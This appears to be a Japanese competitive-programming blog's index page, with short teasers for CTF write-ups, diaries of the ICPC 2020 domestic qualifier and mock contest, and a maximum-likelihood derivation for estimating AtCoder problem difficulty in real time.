雑記

魔法少女になりたい

TSG LIVE! 8 CTF Writeup

概要

この記事は、2022 年 5 月 14 日 12:33-14:13 に開催された TSG LIVE! 8 CTF の Writeup です。自分は一人で参加し、1550 点を入れて優勝しました*1。五月祭や駒場祭で開催されるこの CTF は短時間ながら退屈な問題が存在しないCTF で、毎回とても楽しみにしています。今回も期待に違わず CTF のエッセンスが詰まった面白い問題揃いでした。今年の TSGCTF も楽しみですね。

*1:うれし～～～～～！

続きを読む

zer0pts CTF 2022 開催記/Writeup

概要

この記事は、2022 年 3 月 19 日から同 20 日にかけて開催された zer0pts CTF 2022 の開催記です。

  • 概要
  • writeup
    • [pwn] Moden Rome(105 solves)
    • [web] Disco Party(51 solves)
    • [web] Disco Festival(1 solve)
    • [rev] Chirashi-sushi(8 solves)
    • [crypto] OK(9 solves)
    • [web/misc] zer0tp(1 solve)
      • 速習・DEFLATE
      • 速習・Zlib
      • オラクルパート
      • md5 パート
      • 本題
  • 開催記
    • 準備
    • 開催中
  • おわりに

この CTF は所属するチーム zer0pts が開催する CTF で、自分は運営として作問と当日の運用に携わりました。他のチームメイトの開催記/writeup は以下の通りです。

ptr-yudai.hatenablog.com

furutsuki.hatenablog.com

furutsuki.hatenablog.com

続きを読む

SECCON CTF 2021 参加記/Writeup

概要

この記事は、2021 年 12 月 12 日 から 12 月 13 日にかけて開催された SECCON CTF 2021 の Writeup です。あと CTF Advent Calendar 2021 の 9 日目の記事です*1。
SECCON は長らく予選-本戦形式のオンサイト CTF として開催されてきました。しかし、社会情勢の影響もあり、去年に引き続き今年も Jeopardy 形式のオンライン CTF として開催されました。
自分は st98 さんを誘い、2 人チーム (o^_^o) として参加しました。結果として、15 問を通して 2543 点を獲得し、全体 10 位/国内 1 位となりました。ここでは、そのうちで自分の通した Welcome 以外の 9 問についての解法を記します。
また、ついでとして参加記っぽいことも書くことにします。あまり難しい問題を解いていないですし、良質な Writeup は自分が書くまでもないですからね。

なお、st98 さんの Writeup はこちらです:

nanimokangaeteinai.hateblo.jp

f:id:keymoon:20211213005436p:plain
旗を持っているみたいで可愛いですね
  • 概要
  • 開始前
  • 開始後
  • [crypto] pppp (117 solves)
  • [misc] s/<script>//gi (115 solves)
  • [pwn] kasu bof (78 solves)
  • [pwn] Average Calculator (56 solves)
  • [rev] <flag> (11 solves)
  • [misc] qchecker (14 solves)
  • [crypto] oOoOoO (26 solves)
  • [rev] dis-me (15 solves)
  • [rev] sed programming (14 solves)

*1:すいませんでした

続きを読む

ICPC2020 国内予選 F - 避難所

ICPC2020 国内予選の F 問題「避難所」の解説です。よく見る解法とは違うアプローチで解いたため、せっかくなので解説記事にしてみました。

問題概要

n頂点m辺 (1\le n,m\le 10^5) の連結で単純な無向グラフGが与えられる。また、各辺E_iには 値A_i(1\le A_i\le 10^5)が割り当てられている。
ここで、G_cを辺集合\{E_i|c\lt A_i\}から構成されるグラフとする（つまり、値c以下の辺を除いたグラフ）。
また、f_{G,i}(c)をG_cにおいて頂点iを含む連結成分の個数として定義し、頂点iについて列[f_{G,i}(0),f_{G,i}(1),f_{G,i}(2)\cdots]を考えた時、これを辞書順最大にするようなiを全て求めよ。

続きを読む

ICPC2020 国内予選 参加記

出ました

コンテスト前

延長ケーブルと充電器、手の乾燥対策にハンドクリームを持ってきた。12時くらいに現地について、食堂でご飯を食べてから12:30くらいに演習室についた。人がいるかと思ったけど一人しか居なかった。

開始までかなり時間があって暇だったので、もくもくとMatrix Calculatorや他の500程度の問題を解いたり、初級者の一年生にダイクストラ法を教えるなどしていた。

今年は自PCで事前準備ありだったので、いろいろとコンテスト前にできた/する必要があった。具体的には、

  • Discord/LINEを落とした,PCも含めた全端末の通知を切った
  • ライブラリの検索/貼付用にhttps://beet-aizu.github.io/library/とリポジトリをローカルに落とした
  • 事前にテンプレートが入ったクリーンなディレクトリ(a/a.cpp,b/b.cpp,c/c.cpp...) を問題分作るシェルスクリプトを書いてコンテスト前に回す運用をした（コンテスト中にまわして消し飛ばしたらかなり嫌なので、回し終わったらrmした）
  • 拡張とかがいろいろあって間違って変なものをクリックしたら嫌だったので、chromeのプロファイルを新規作成した
  • VSCodeのデバッガが狂うので、CTF用に改造されたgdbをデフォルトに戻した
  • ID/passをローカルファイルに落とした

等をした。これは2週間前くらいから持ち物等と一緒にリストアップしていた。

10分前くらいに喉が痛かったのでのど飴を買った。そこそこ効いたと思う。

それと打ち上げがコンテスト終了後20分で開始らしく、かなり慌ただしくなることが予想されたので事前にある程度出れるようにはしておいた。

コンテスト中

始まった。と同時にDBが壊れているとのエラー。リロードしなおせば治ってるだろとか思いながら何回かリロードしても駄目で、シークレットブラウズでログインし直すも駄目みたいだった。さようなら……

こどふぉった後に開始時刻のアナウンスがまたあるだろうとか言いながら、突然繋がったら嫌なので5秒間隔くらいでF5を押していると突如繋がる。も、practice前の様子。

打ち上げの開始時刻の心配や運営チームの心労の心配とかをしながら引き続きリロードをしていると、状態がpracticeになっていた。今ならFA取れるぞとか冗談をいいつつ順位表をリロードすると、問題が8個くらいあることに気がつく。始まってね?

Aを見る stringにしてsubstrとかをすることが頭を過るも、Aなので何も考えずa[i-3],a[i-2],a[i-1],a[i]を比較するコードを書く。通る。4分

Bは読解が秒ではなかったので僕がBをやることに。らずひるどが問題概要を予め把握していてくれたので、やるだけだった。やる。通す。8分

Cはかなり難しそうで、すくなくともサラッと通せる問題ではなさそう。とりあえず目を通し、105くらいまで列挙すると残りが簡単に定まるのではないか?と思うも1010くらいなので駄目っぽい。最初108くらいになると思って解けたとか言っちゃった、ごめん。Dが構文解析っぽいのでそっちをやったほうが良いとのことで回ってくる。

Dは構文解析はあるにはあるも本質ではなさそう（BNFが1行とか2行とか） 。とりあえず出てくる変数を決め打ちそう→全変数間の大小関係を2-SATの変数として持ち、それぞれの式と推移性について条件式を作れば良さそうだなあとか思う。が、数えられないので終わり。

頭を捻っているとCが通る。(40分) この時点で学内2位/全体31位とかでbeetさんがかなり動揺していた。Dが全く解けなかったので聞くと、秒でn<=16なのでbit全探索と言われる。なににbitを建てるのかさっぱりだったので聞くが、決め打ったら後必要な情報がそれより大きいか小さいかだけと言いながら震える手で図を書いていた。ボロボロになりつつも秒で解法を出してきていて凄いし、それを30分出せなかったのは素直にかなり反省。???「これができないのは、ヤバいよ」

ということで書く。構文解析パートは関数一つだけでなんとかなるレベルのゆるい奴。正直僕もかなり動揺していたので、文字からindexへの変換をmap持って終わらせればいいものをわざわざ式内に登場するシンボルを置換したりしていて本当によくない。20分くらいで書き終わる。サンプルが合わん、何がいけなかったんでしょうねぇ…… 15分くらい唸るも、原因は

if (op=='<') return a < b ? a : b;
else return a > b ? a : b;

と

if(op=='<') swap(a,b);
return a > b : a : b;

を等価だと思っていたことだと判明。コンテスト中には何故これが等価でないのか分からずに納得できずも、とりあえずサンプル合うからヨシ!をした。（それぞれのreturnはminとmaxということにすら気がついていなかった）出す。通る。80分

そうこうしているうちに、Eがなんかギャグらしくて解けたらしい。なのでF読むかをしてらずひるどの考察を聞いているうちにEが通る。85分

ここで状況確認。とりあえず5～6位くらいで、早めに5完はしたので通過はしそう?FGHを読むも、GHは1時間半で0完なので捨てて良さそう（Gは見込みはなくはないが、Hは完全にヤバい幾何なのでさようならという感じ）。残りはFということで、Fの考察をすることに。

少ししてFが方針が生えたらしく、聞くと合っていそう。ただ、計算量が壊れそうなケースを見つけたのでそれを提示するもいい感じの方法が帰ってくる。あと70分くらいしかないので、とりあえず並列で実装をしてどっちかが通したらいいね作戦をすることに。

かなり後に気がついたんですが、ここで壮大なアンジャッシュが起きていたらしい。というのも、サンプルを試して解法を共有する際に両者の解法に少しズレがあったにも関わらず偶然同じステップを踏んでいた。嫌なケース等で合意が取れたので、把握している解法が違うなどとは思いもしない。

かなり辛い実装だったが、なんとか書き上がる、15分前。出す。合わない。解をソートしていないことに気がつく。ソートする。出す。合わない、10分前。 サンプルを試してステップ実行すると怪しい動きをしていそうだと気がつく。条件式が間違っていたので直す。出す。合わない、5分前。考察自体に致命的なミスがあることにチームメイトが気がつく、1分前。

終了 全体8位

ふりかえり・反省

ABは文句のない動きができた。Dで迷走したのは本当に頭が備わっていないせいで、高難度の練習を実装偏重にしていたのもあってよくなかった。頭を使おう。

Fでは、サンプルをチームで試して共有した上に生成した最悪ケースの出力が一致することを確認した。そのうえでのこれなので、今回はほぼ不幸な事故だったと思ったほうが良さそう。強いて言うなら、手で試せる範囲で一番強いサンプルを試すべきだった。

ただ、ある考察を否定する時に言っていることが全く分からなかったが、考察を投げた人が納得したので渋々納得したのは戦犯ポイント。ここで指摘していれば気がつけたかもしれない。言っていることの意味が分からず、かつ意味がわからないことに確信が持てるならば、ratismをぶっ壊して相手を疑うことをしたほうが良さそう。

ということで、チームとしての自分の動きも、個人としての自分の動きとしてもそこまで納得がいくものではなかった。結果はそこそこ良くはあったが、olpheチームに負けたなどもあってかなり悔しいのは確か。

なお、Fは自分のコンテスト中のコードを2byte書き換えたら正解チームのoutputと一致した。本当に下らないミスでとても悔いが残る上、思い違いをした解法が合っているとなるともう気がつきようがない気がする。ただ、終わったことなので今悔やんでもしょうがない。これを回避するには強くなるしか方法はないので、強くなる。  

コード

a.cpp · GitHub

b.cpp · GitHub

d.cpp · GitHub

Revisions · f.cpp · GitHub (初版がコンテスト中のコードで、その後が修正後のおそらくACコード)

ICPC2020 模擬国内予選 参加記

プラクティス

システムが初めてだったのでプラクティスをした ./l ではなく l < in > out としたらlsのエイリアスに反応してoutにファイル一覧が出ていて1WAした 国内予選ではほぼおそらくlはないけど罠を踏めてよかった 他にwでも死ぬらしいが、wまでは出ないのでセーフ

コンテスト前

家を出る前に持ち物チェックをしたのに充電器とハンドクリームを忘れた バッテリーは駄目になってて3時間持つか怪しかったので他チームの人に貸してもらった（本当にありがとうございます）チェックリストを作りましょう

コンテスト中

Aを見る こういうのは0に注意するんですよね～とか言っていたんですが、1<=a_i,b_i だったので残念(?) 書いて出す 6分弱 6位とか

Bが書かれ始めていたのでCを見る 今年も続投廻小宮ファミリー 生で見たのが初めてだったので笑ってしまった そうこうしてるうちにBが通って順位表を見たらFAだった（すげえ）

続けてCを読む n<=20とかであってくれとおもったけど10^5でした 普通にわからん… 思考が止まって眺めているだけに一瞬なっていて、これはまずいとしっかりと考える マス視点で何らかを埋めるんだろうなという気持ちにはなるが、わからん とりあえずわからんのでstartを(0,0)に、goalを(+,+)に補正する入力コードだけ書く マス視点だったら今までに消した範囲の数しかありえないよな→今いるところで全て消えているという仮定を置くと何を消したかの情報を持たなくていいじゃん 横に動いた場合と縦に動いた場合についてどこを消すべきかを配列に入れればいいね! 書き始める（考察15分くらい? 実装に15分くらい）

書き上がる 試す 境界外参照でエラー デバッグをするんですが、スタックトレースがないしブレークポイントがうまく打てないしで焦りまくって、結局printfデバッグする チームメイトにあと5分くらいで書けると伝えてから10分くらい経っていたので現状を聞かれ、せぐふぉってると伝える そうこうしていると原因を見つけた 配列のサイズをh+1,w+1にしていなかったとこがあった（10分くらいかかった）

直したので試す 最後の一ケースだけ合わん…… ここでブレークポイントが打てなかった原因が試しに追加した -O2 オプションのせいだったと判明 環境を直前にいじらない! さすがにハマりすぎているのでトイレに行って頭を冷やしてこいと言われるが、もうちょっとデバッグをする とりあえずいろいろな情報をダンプして見てみて、何がおかしいのかは判明 でもどうしてそういうことになっているかは分からない トイレ勧告2回目 流石に行く

帰ってきて少し見てみると分かる 原因は y+r, x+rを x+r, x+rにしていたことだった 後から思えば最初にダンプした情報でも値がおかしかったし、明らかに疑う場所は一つだった 頭が全く動いていなかった 本当に反省ポイント 動かすとサンプルは合う 出す 通る 70分弱 カス

この時点でEはとっくの昔に通っていたので一旦状況確認 可能性のあるDとFをどう解くかを話していた 聞こえてくる感じだとFはサイコロっぽい 読んでみると、ちょっとめんどくさいだけで解けそうじゃんと思ったが、入力がヤバすぎることが判明 Dを読む限り考察偏重っぽくてレート高いほうに任せたほうが良さそう&立体の回転/展開とかの空間把握と実装は少し自信があったのでFをやることに

とりあえずサイコロライブラリは写経してあったが、当然向きには対応していなかったので参考にはするが基本的には投げ捨てる方針でいく 写経担当の手が空いていたので分業して書くことにした 設計をとりあえず決める † みたいな展開図(標準展開図とか呼ぶ)で↑のときに0、→で1…みたいにする 回転自体は縦回転と横回転が一種ずつあれば全ての回転を網羅できることは分かったので、とりあえずDie構造体だけ書いて共有し、縦回転と横回転を書いてもらうことに

僕はとりあえず入力を書くことにした 方針自体は一瞬で立って、どこかからDFSをして頑張ればいい 持つべき情報は(与えられる展開図の(y,x), 標準展開図においてどこか, 標準展開図においてどっち向きか)

DFSをするために上下左右においてどう隣接してるかのリスト、今自分が上で、隣にあった場合の上の方向のリストが欲しいと分かる ここがこわれてるとデバッグが大変なことになる&最悪サンプルは合ってしまう可能性が大いにあるので、かなり丁寧にダブルチェックしつつリスト24個を埋める 結果的にここを丁寧にやったのはとても良かった ここらへんでDが通った

そうこうしている内に縦回転と横回転が終わったので、遅くてごめんと言いながらsolveの中身も書いてもらうことに 探索の内側については具体例と照らし合わせながら埋めた 扱うべき向きが三個くらい出てきて頭が壊れそうだったけどなんとかなった なんとかしたらsolveも書き終わったらしい とりあえず全部↑になるようなケースを手打ちで作って試す assertで死んだ 冷や汗が出たが、原因はすぐに突き止められて直したら合うので合体させた サンプルを試したら合体ミスでむちゃくちゃな値が出てきたけど、ちゃんと合体したらそれっぽい値は出た（30分前）

でもdiffを見ると違ったので、まずinputを疑う サンプル1のサイコロは3つだったので、手作業で標準展開図に補正してDieの中身をダンプしたのと比較 合ってる 15分前

なのでsolveから全探索を呼んでいる関数を確認して、少し怪しかったので書き換えると答えが変わるも合わない rotateが怪しい説が出てきたので、お人形さんになっていた写経担当を借りてきてrotateの説明をしてもらう 回転が一箇所間違っていたので修正する 合う 出す 通る 10分前 大口叩いて通せなかったらカスなのでヒヤヒヤしていた

GHは目を通してしかいなくて何も分からなかったので後は順位表を見ながらニコニコしていた なんでニコニコしてるんですかと言われたんですが、嬉しいからなんだよな

終了 全体9位

 

ふりかえり・反省

練習通りのステップを踏めなかった。Cは焦りがあったのもあるが、頭を使えていなかった。Fの実装をしているタイミングでようやく頭のギアが入った感覚があったが遅すぎる。ただ、Fをしっかりと詰めた上で書ききれたのは偉い。詰める練習をしていなければできなかったはず。

練習は本番のように、本番は練習のようにとか百万回聞いているが、本当に意識するべき。実装練習ばかりで頭を止めないでしっかりと考察を最近していないため、AOJの500-550の少し考察が必要なレベルを重点的に埋めるべき。本番も大きなミスなくやれるようにあと2週間気合を入れていく。

あとチェックリストを作りましょう（作りました）

 

コード

a.cpp · GitHub

c.cpp · GitHub

f.cpp · GitHub

 

コンテスト中に問題のdifficultyを推定した(かった)

～前回までのあらすじ～

コンテスト中に最終順位を推定したくなり、それをするにはコンテスト中にDiffを推定すればよいことが分かった。

keymoon.hatenablog.com

先行研究

コンテスト中にdiffを推定するということ自体は、すでにいくつかの先行研究がある。本項では、DEIM2020にて発表のあった「競技プログラミングコンテストにおけるタスクの難易度のリアルタイム推定*1」という論文で取られている手法の一つを紹介し、それの改善点について考察をする。

手法

まず、正解率pをレートとdifficultyの関係より導出される式 p=\frac{1}{1+6^{(d-r)/400}} より定めた。
そして、「時間T毎に各参加者が提出を行い、確率p_iで正答を得る。また、コンテスト参加者があるタスクに自分の解答を繰り返し提出し，正答であるという判定を得るまでにかかる時間が指数分布に従う。」というモデルを基に推定を行っていた。この場合の尤度関数L(d)は、指数分布の確率密度関数を用いて
\displaystyle L(d)=\prod_{i=1}^{N}{\frac{p_i}{T}\exp{\left( -\frac{p_i}{T}t_i \right)}}
と定められる。これの最大化については、尤度関数の対数を取り
\displaystyle \begin{eqnarray*} \log L(d)&=&\sum_{i=1}^{N}{\log(\frac{p_i}{T} \exp(-\frac{p_i}{T}t_i))} \\ &=&\sum_{i=1}^{N}{\left( \log\frac{p_i}{T}-\frac{p_i}{T}t_i \right)} \\ &=&\sum_{i=1}^{N}{\left( \log p_i-\log T \right)}-\sum_{i=1}^{N}{\frac{p_it_i}{T}} \\ &=&\left( \sum_{i=1}^{N}\log p_i \right) -N\log T -\sum_{i=1}^{N}{\frac{p_it_i}{T}} \cdots (1) \end{eqnarray*}
とした関数を最大化することと同じになる。これは、Tについて偏微分した
\displaystyle \begin{eqnarray*} \frac{\delta \log{L(d)}}{\delta T}=-\frac{N}{T}+\frac{1}{T^2}\sum_{i=1}^{N}{p_it_i} \end{eqnarray*}
が0となるようなTを離散的な各 d\ \mbox{s.t.}\ d \in ℤ, \rm{possibleMinDiff} \leq d \leq \rm{possibleMaxDiff}について求め、それによって\log L(d)を求めることで擬似的に実現できる。
そのようなTは
\displaystyle T=\frac{1}{N}\sum_{i=1}^{N}{p_it_i}
と表せるので、(1)式は
\displaystyle (1)=\left( \sum_{i=1}^{N}\log p_i \right)-N\log T-N \\
と表すことができる。

問題点

このモデルの問題点について考察する。
まず、各人がコンテストを通して解答できる時間の期待値e_iをT/p_iとしているが、それの根拠となる仮定である「時間T毎に提出して確率p_iで正答を得る」という点について。p_iを算出するのに用いているdifficultyの定義は「全体で正答できる確率が50%になるようなレート」であるが、この仮定の下では全体での正答確率がp_iとならないため、これは定義を満たしていない。
また、確率分布が以上の仮定に従うとすると離散的な指数分布を取ると考えられるが、その仮定とは別に指数分布となるモデルを考えているため、複数のモデルが並立していることになっている。
また、レート毎の解答時間の分布に指数分布を用いているが、レート毎の解答時間の分布は対数正規分布になることが観察と考察によって確かめられる。

pepsin-amylase.hatenablog.com

よって、本記事では対数正規分布を解答時間の分布として用いて推定を行ってみたいと思う。

正規分布による推定

difficultyの定義より、レートrの人が難易度dの問題を終了時刻t_{end}において正答できている確率は
\displaystyle \frac{1}{1+6^{(d-r)/400}}\cdots(2)
と表せる。
ここで、あるレートrにおいて正答を得られるまでの時間tは対数正規分布に依り、すべてのtについて対数スケールでの分散が一定であると仮定する。
そのため、あるレートrに対して対数スケールでの解答時間の中央値がe^\mu、同じく分散が\sigma^2のとき、時間tに対する確率密度関数は
\displaystyle \frac{1}{\sqrt{2\pi\sigma^2}t}\exp\left(-\frac{(\log t-\mu)^2}{2\sigma^2}\right)
となる。
ここで、正規分布は尺度s=\frac{2}{\pi}|\sigma|のロジスティック分布に近似できるため、そのような近似を用いて\muをsの式で表すことを考える。この\mu,sは、時間tに対する対数ロジスティック分布の累積分布関数\frac{1}{1+e^{(\mu-\log t)/s}}とレートあたりの正答率の式(2)より、
\displaystyle \begin{eqnarray*} \frac{1}{1+e^{(\mu-\log t_{end})/s}}&=&\frac{1}{1+6^{(d-r)/400}} \\ \Leftrightarrow e^{(\mu-\log t_{end})/s}&=&6^{(d-r)/400} \\ \Leftrightarrow (\mu-\log t_{end})/s&=&(d-r)/400\cdot\log 6=\frac{\log 6}{400} \cdot (d-r) \\ \Leftrightarrow \mu&=&\frac{s\log 6}{400} \cdot (d-r) + \log t_{end} \end{eqnarray*}
という式に従う。

以上より、\muを\sigmaに対する式として表すと、
\displaystyle \mu=\frac{|\sigma|\log 6}{200\pi} \cdot (d-r) + \log t_{end}
となる。ここで、簡便のためにc=\frac{200\pi}{\log 6}とする。

これを時間tに対する確率密度関数に代入すると、
\displaystyle \frac{1}{\sqrt{2\pi\sigma^2}t}\exp\left(-\frac{\left(\log t-\left(\frac{|\sigma|}{c} \cdot (d-r) + \log t_{end}\right)\right)^2}{2\sigma^2}\right) \\
となる。上式より、尤度関数L(d)を
\displaystyle L(d)=\prod_{i=1}^{N}\frac{1}{\sqrt{2\pi\sigma^2}t_i}\exp\left(-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2}\right) \\
と定める。対数を取ると、
\displaystyle \begin{eqnarray*} \log L(d)&=&\sum_{i=1}^{N}\log\left(\frac{1}{\sqrt{2\pi\sigma^2}t_i}\exp\left(-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2}\right)\right) \\ &=&\sum_{i=1}^{N}-\log(\sqrt{2\pi}|\sigma|)-\log t_i-\frac{\left(\log t_i-\left(\frac{|\sigma|}{c} \cdot (d-r_i) + \log t_{end}\right)\right)^2}{2\sigma^2} \\ &=&-N\log\sqrt{2\pi}-N\log|\sigma|-\sum_{i=1}^{N}\log t_i-\sum_{i=1}^{N}\frac{\left(\log t_i-\log t_{end}-\frac{|\sigma|}{c} \cdot (d-r_i)\right)^2}{2\sigma^2} \\ &=&-\left(N\log\sqrt{2\pi}+\sum_{i=1}^{N}\log t_i+N\log|\sigma|+\frac{{\displaystyle \sum_{i=1}^{N}}\left(\log t_i-\log t_{end}-\frac{|\sigma|}{c} \cdot (d-r_i)\right)^2}{2\sigma^2}\right) \\ \end{eqnarray*}
となる。\sigmaについて偏微分すると、
\displaystyle \begin{eqnarray*} \frac{\delta\log L(d)}{\delta\sigma}&=&-\frac{N}{\sigma}-\sum_{i=1}^{N}-\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}\\ &=&-\frac{N}{\sigma}+\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}\\ \end{eqnarray*}
となり、上式の偏微分が0になるために\sigmaが満たすべき条件は

\displaystyle \begin{eqnarray*} -\frac{N}{\sigma}+\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{c\sigma^3}&=&0\\ \Leftrightarrow\sum_{i=1}^{N}\frac{(\log t_i-\log t_{end})(c(\log t_i-\log t_{end})-|\sigma|(d-r_i))}{\sigma^2}-cN&=&0\\ \Leftrightarrow\sum_{i=1}^{N}\frac{c(\log t_i-\log t_{end})^2-|\sigma|(d-r_i)(\log t_i-\log t_{end})}{\sigma^2}-cN&=&0\\ \Leftrightarrow\sum_{i=1}^{N}\frac{c(\log t_i-\log t_{end})^2}{\sigma^2}-\sum_{i=1}^{N}\frac{(d-r_i)(\log t_i-\log t_{end})}{|\sigma|}-cN&=&0\\ \Leftrightarrow\left(\sum_{i=1}^{N}c(\log t_i-\log t_{end})^2\right)\frac{1}{\sigma^2}-\displaystyle \left(\sum_{i=1}^{N}(d-r_i)(\log t_i-\log t_{end})\right)\frac{1}{|\sigma|}-cN&=&0\\ \Leftrightarrow cN\sigma^2+\left(\sum_{i=1}^{N}(d-r_i)(\log t_i-\log t_{end})\right)|\sigma|-\sum_{i=1}^{N}c(\log t_i-\log t_{end})^2&=&0\\ \end{eqnarray*}
である。これを満たすような\sigmaを離散的な各d\ \mbox{s.t.}\ d \in ℤ, \rm{minDiff} \leq d \leq \rm{maxDiff}について求め、それぞれについて\log L(d)を求めた後、これが最大値をとるdを擬似的な最尤推定量とする。

\sigmaについての項は\sigma^2と|\sigma|しか出てこないことから、実装においては非負と仮定しても結果は変化しないことを利用すると良い。

実装,性能評価

以上のモデルを既存手法とともにC#にて実装をし、比較をした。実装は以下のリンクよりgistにて閲覧できる。
AtCoderからのデータ取得周りは外部の自作ライブラリに依存してるのでこれ単体では動かないです · GitHub

ABC170 旧モデル 提案モデル difficulty
A -163 -1000 -3425.5
B 14 -792 -872.4
C 233 -414 -166
D 274 323 1033.5
E 625 805 1466.4
F -240 1261 1913.6
f:id:keymoon:20200804132256p:plain
ABC170の推定
ABC171 旧モデル 提案モデル difficulty
A -205 -985 -2837.3
B -77 -1000 -1340.5
C -261 119 466.3
D 38 115 422.3
E -1000 308 733.7
F 614 1035 1721.5
f:id:keymoon:20200804132358p:plain
ABC171の推定
ABC172 旧モデル 提案モデル difficulty
A -167 -1000 -7393.8
B -60 -1000 -1410.4
C 704 347 877.7
D 17 351 944.7
E 710 961 1877.9
F 553 1368 2158.5
f:id:keymoon:20200804132439p:plain
ABC172の推定

旧モデルは収束するのは低難度帯に限られるが収束は早い。一方、提案モデルでは難易度によらず推定を行えているが収束はあまりしているようには見えない。

また、提案モデルでは解がほぼ確実に下方向にズレているのが課題である。そのため、どの程度ズレているのかを確かめてみた。

f:id:keymoon:20200804150254p:plain
推定データと実データ

すると、新ABCに限ってサンプリングしたデータではあるが、実データと推定データが比例しているという傾向が全diffについて見られた。つまり、最終推定値に1次関数による補正をかけたらこのモデルはそこそこな精度になるということである。
ここまで綺麗なズレが観測されるとなると、ここには何らかのモデル自体の欠陥が絡んできているのではないか?と思えてしまう。そのため、ズレがどこから来ているのかということを今後調べていきたいと思っている。

また、ABC/AGC/ARCそれぞれについて同様に調べてみると、グラフのかたむきは0.72程で変わらずに切片のみが変化していることが分かった。

f:id:keymoon:20200804202956p:plain
AGC/ARC/ABCについての推定データと実データ

おわりに

尤度関数と偏微分の式変形がかなり美しい結果に落ち着いたので、かなり満足しています。ただ、実装してみた結果うまく行かなかったので、とりあえず進捗を書くだけ書いておいて本業(競プロ)をしようという不純なモチベーションより筆を取り始めました。しかし、その途中で気まぐれでデータを比較してみるとかなり綺麗なズレが観測できたのでもう一歩な気もしてきました。もう少し頑張ってみます…

*1:https://proceedings-of-deim.github.io/DEIM2020/papers/I4-2.pdf

コンテスト中に最終順位を推定したい

 

概要

表題の通り、コンテスト中に(このまま椅子を温め続けた時の)最終順位を推定したいです。私はac-predictorってやつを作ってるんですが、それにコンテスト中の最終順位の推定機能を組み込めたら更に便利になるなってのがモチベーションです。

ただ、問題を詰めていくに従ってどん詰まりになってきたので頭の整理のためにでも書いてます。もし何らかの解決策を少しでもご存知であれば、是非教えて頂けると幸いです……。本稿で使用したnotebookはGistに上げておきました。

この記事でレートと言った場合、明示しない場合は内部レート(APerf(average perf), パフォーマンスの単純な加重平均)のことを指すことにします。

要件

リアルタイムに推定を出したい。できるならばすべての処理をクライアント(=JS)側に任せたいが、流石にブラウザ上でやるには厳しい計算が出てきた場合はサーバサイドでの計算もやむを得ないかも。(その場合はバッチ処理のような形を取る)

現段階での考えている手法

とりあえず、(このまま椅子を温め続けた時の)最終順位を予測するためには何が必要かを考える。最終順位=今の順位+自分を抜いた人の順位であるため、全ての人について自分を抜く確率がどれくらいあるのかを計算したい気持ちになる。

そのためには、それぞれの人が問題を一定の時間以内に解く確率を計算したくなる。

AtCoder の問題に取り掛かってから AC するまでにかかる時間の対数の平均値は、レーティングの1次式で表現できると考えられます。

pepsin-amylase.hatenablog.com

とあるため、これは問題のDifficultyと分散を求めると良さそうである。

よって、各問題のDifficultyと分散を求めることとする。

ここで、Diffは「コンテスト中に50%の人が解けるレート」として計算されているため、「コンテスト終了時に50%の人が解けているレート帯」をそのままDiffとして考えることにする。

コンテスト本番の (ユーザー, 問題) の対を1つのデータ点として内部レーティングを説明変数、その問題に正解したかを被説明変数とするロジスティック回帰によって正解予測モデルを作っています。このモデルで正解率が50%になる内部レーティングを difficulty としています。

pepsin-amylase.hatenablog.com

ここまでをまとめると、

各問題について:

  • コンテスト中の順位表よりDifficulty(=終了時に半分の人が解けているレート帯)を推定
  • そのDifficultyより各人が自分を抜く確率を推定
  • そこから最終順位を予測

 というプロセスで推定を行うということになる。

Difficultyを推定する

追記(2020/7/31)

本項でいくつか記事を参考にさせていただき、またAtCoder ProblemsのDiff推定部分の担当もしていらっしゃるid:pepsin-amylaseさんより「最近それをやった論文がある」と教えていただいたため、それを読んだ。それを用いた場合C問題程度まではきれいな推定ができるが、それ以降ではまだきれいな推定ができなかった。

その後も手法を改善する努力などは行っているため、何か進展があればここに追記する。

(追記:記事を書きました。未だに上手くはいっていません…)

keymoon.hatenablog.com

(追記終わり)

 

Difficultyを推定するに当たって、終了時に半分の人が解けているレート帯を求めることをしたい。

まず、観察として「全ての問題について、各レート帯の何割の人がどの程度の時間で解けているか」をプロットすることとした。

その結果が以下である。

f:id:keymoon:20200726005112p:plain

各問題についてのレートと解答時間の関係


縦軸のaperfは内部レート、横軸は時間の対数である。

赤の点はがそのレート帯の人の50パーセンタイルが解けたときの時間、黄色が40/60,青が30/70… といったことを示している。

これを見てもわかるように、それぞれのパーセンタイル毎の値は微妙な曲線になっている。

また、各レート帯毎の解ける時間については対数正規分布になっているように感じる。

これらの観測を基に、コンテスト中の順位表から終了時に5割の人が解けているレート帯(すなわち終了時刻に赤点線が当たる場所)を求めたいという気持ちになる。

f:id:keymoon:20200726005036p:plain

開始10分時点での情報をプロットしたもの

そのためには、「各レート帯での解けるまでの時間の中央値を推定」→「その中央値を基にDiffを推定」というステップを踏むべきであると考えた。

課題

ここまで考えたのは良いものの、その推定をどのように行ってよいかが分かっていない。

ここから、行ったことと考察を書く。

中央値を推定するフェーズ

対数正規分布になりそうだという観測を基に、その時点での結果について正規分布のフィッティングを行うこととした。

どうにも打ち切りモデルというものによる推定になりそうだが、このような高度なモデルを使用することなくcurbe_fittingを行ってみることとした。

teratail.com

f:id:keymoon:20200726010257p:plain

1000秒時点のデータを基とした、curbe_fittingによる推定

その結果、20分程度まではある程度まともなデータが得られたが、それ以降では頓珍漢な結果が出てしまう結果となった。

どこかで分散を求めてしまって、それを基に全てを推定とかのほうが楽なのかもしれない……?

Diffを推定するフェーズ

一度対数を適用してもまだ対数っぽい見た目をしていたのでもう一度適用すると良いかもしれないと思い、適用してみる。

f:id:keymoon:20200726005400p:plain

log(log(x))を横軸の目盛りに取った場合

結果としては、まだ対数っぽさが残っている気がする。

最初の方に解けた上位陣を無視して、最後の方の傾きだけを基に推定すれば良いかとも思ったが、できるならば最初の方から推定できていてほしさがあるため、上位陣込みのデータを基に推定可能な汎用的なモデルを構築したい。

あと、中央値となる点の「確実性」の重みは、推定がどの程度の点の量で行われたかによって変化すると考えた。そのため、それを加味した上でフィッティングは行うべきな気がする。

終わりに

